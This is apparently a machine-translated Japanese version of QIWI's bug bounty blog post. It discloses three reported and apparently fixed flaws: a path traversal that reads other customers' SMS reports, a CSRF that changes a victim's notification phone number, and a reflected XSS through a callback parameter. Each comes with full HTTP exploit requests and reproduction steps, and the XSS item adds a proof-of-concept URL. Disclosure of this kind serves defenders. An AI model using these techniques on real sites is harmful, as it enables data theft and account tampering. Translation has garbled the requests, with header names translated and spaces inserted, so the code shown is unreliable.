プログラムの開始以来、情報を受け取り、150を超える脆弱性を修正しました。 特定の脆弱性については、最大150,000ルーブルを支払いましたが、例では公開できません。
それで、プログラムは上り坂になりました。 ハッカーの支援のおかげで修正した多くのバグを蓄積しました。 特にあなたのために、いくつかの例を強調しました。 倫理的ハックからのいくつかの本当の物語。
最初の話:他の人のレポートを読んでください。
脆弱なホスト:sms.qiwi.ru
脆弱性の種類:ディレクトリバイパス+弱いID検証+セッション検証なし
他の人のレポートを読んで、会社の顧客とその行動の概要を取得します:)
場所:sms.qiwi.ru/bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id=繰り返し方法:目的のレポートIDをディレクトリとして+その数字で指定レポート後(123456->レポート/ 12/34 / 56.dat)。 出来上がり、あなたは誰か他の人の報告を持っています:)
他の人のレポートの盗難の例を含む完全なGETリクエスト:
GET /bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xls&report_instance_id= HTTP / 1.1
ホスト:sms.qiwi.ru
ユーザーエージェント:Mozilla / 5.0(Macintosh、Intel Mac OS X 10_8_3)AppleWebKit / 536.28.10(KHTML、Geckoなど)バージョン/ 6.0.3 Safari / 536.28.10
許可:text / html、application / xhtml + xml、application / xml; q = 0.9、* / *; q = 0.8
起源: sms.qiwi.ru
Accept-Encoding:gzip、deflate
Accept-Language:ru
リファラー : sms.qiwi.ru/bo/monitor/report_view.jsp?instance_id=144114
Cookie:JSESSIONID =; __utma = 200106670.88940096.1367226876.1367244987.1367247574.7; __utmc = 200106670; __utmz = 200106670.1367247574.7.5.utmcsr = google | utmccn =(organic)| utmcmd = organic | utmctr = site%3Aqiwi.ru%20inurl%接続:keep-alive
プロキシ接続:キープアライブ
2番目のストーリー:通知設定を変更する方法。
脆弱なホスト
ishop.qiwi.ru
OWASP TOP 10分類脆弱性タイプ
A8-CSRF
正確にどこ
ishop.qiwi.ru/notificationSave.action
何ができる
この脆弱性により、攻撃者は、ユーザーが攻撃者によって特別に作成されたページにアクセスしたときに、ユーザーの通知設定(電話番号、SMSなど)を変更できます。
繰り返し方
1.あるユーザーアカウントでログインします。
2.通知設定を行います。
3.ステップ4(テスト)を実行します
4. BurpSuiteまたは同様のアプリケーションを使用して、受信したCookie値をCookie(JSESSIONID)に置き換えて、次のリクエストを送信します
POST /notificationSave.action HTTP / 1.1
ホスト:ishop.qiwi.ru
ユーザーエージェント:Mozilla / 5.0(Windows NT 6.1; WOW64; rv:20.0)Gecko / 20100101 Firefox / 20.0
許可:text / html、application / xhtml + xml、application / xml; q = 0.9、* / *; q = 0.8
Accept-Language:ru-RU、ru; q = 0.8、en-US; q = 0.5、en; q = 0.3
Accept-Encoding:gzip、deflate
リファラー : ishop.qiwi.ru/notifications.action
Cookie:__utma = 200106670.867508279.1368788962.1368788962.1369037765.2; __utmz = 200106670.1368788962.1.1.utmcsr =(直接)| utmccn =(直接)| utmcmd =(なし); __utmc = 200106670; JSESSIONID =;。node-ishop04.1; __utma = 47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc = 47471167; __utmz = 47471167.1369717004.6.2.utmcsr = ishopnew.qiwi.ru | utmccn =(参照)| utmcmd =参照| utmcct = /; __utmb = 47471167.25.10.1369717004
接続:キープアライブ
Content-Type:application / x-www-form-urlencoded
コンテンツの長さ:244
phone =&incomingBillMail = true&__ checkbox_incomingBillMail = true&__ checkbox_incomingPayMail = true&__ checkbox_incomingPaySMS = true&__ checkbox_cancelPayMail = true&__ checkbox_cancelPaySMS = true
5.通知設定ページに移動し、電話番号と通知設定が変更されていることを確認します
対策
ランダムな値を含む非表示フォームフィールド-CSRFトークンを追加します。
www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
3番目のストーリー:任意のコード。
エラーはサイトw.qiwi.ruで見つかりました。
/user/communication/sendsms.actionスクリプトのコールバックパラメーターの出力の検証とスクリーニングはありません。
クライアント側で任意のコードを実行することが可能です。
攻撃を行うには、システムへのユーザー登録は不要です。 ユーザーは、ブラウザから提案されたJavaScriptスクリプトを開く必要があります。
リクエスト例
GET /user/communication/sendsms.action?number=&text=111&callback = <> "'; HTTP / 1.1
ホスト:w.qiwi.ru
ユーザーエージェント:Mozilla / 5.0(Windows NT 6.1; WOW64; rv:20.0)Gecko / 20100101 Firefox / 20.0
受け入れる:テキスト/ javascript、アプリケーション/ javascript、* / *
Accept-Language:ru-RU、ru; q = 0.8、en-US; q = 0.5、en; q = 0.3
Accept-Encoding:gzip、deflate
X-Requested-With:XMLHttpRequest
リファラー : w.qiwi.ru/communication.action
Cookie:__utma = 153665022.317299647.1368525797.1368679677.1368684655.3; __utmz = 153665022.1368684655.3.3.utmcsr = google | utmccn =(organic)| utmcmd = organic | utmctr = qiwi%20webmoney; JSESSIONID = .node-wb02.2; __utmc = 153665022; __utmb = 153665022.34.10.1368684655
接続:キープアライブ
コンテンツの長さ:6
答え
HTTP / 1.1 200 OK
日付:2013年5月16日(木)08:16:14 GMT
有効期限:土、1995年5月6日12:00:00 GMT
Cache-Control:no-store、no-cache、must-revalidate
キャッシュ制御:事後チェック= 0、事前チェック= 0
プラグマ:no-cache
Content-Type:text / javascript; charset = utf-8
コンテンツの長さ:142
キープアライブ:タイムアウト= 5、最大= 100
接続:キープアライブ
<> "';({error:0、data:{" confirmBySms ":true、" confirmLink ":" "、" provider ":" 199 "、" identifier ":" "}、メッセージ:[]、エラー: []、fieldErrors:[]})
概念実証
Internet Explorerで、
w.qiwi.ru/user/communication/sendsms.action?number= text = 111&callback = WScript.Echo( 'XSS');
チェック時に、Internet Explorerバージョン9が使用されました。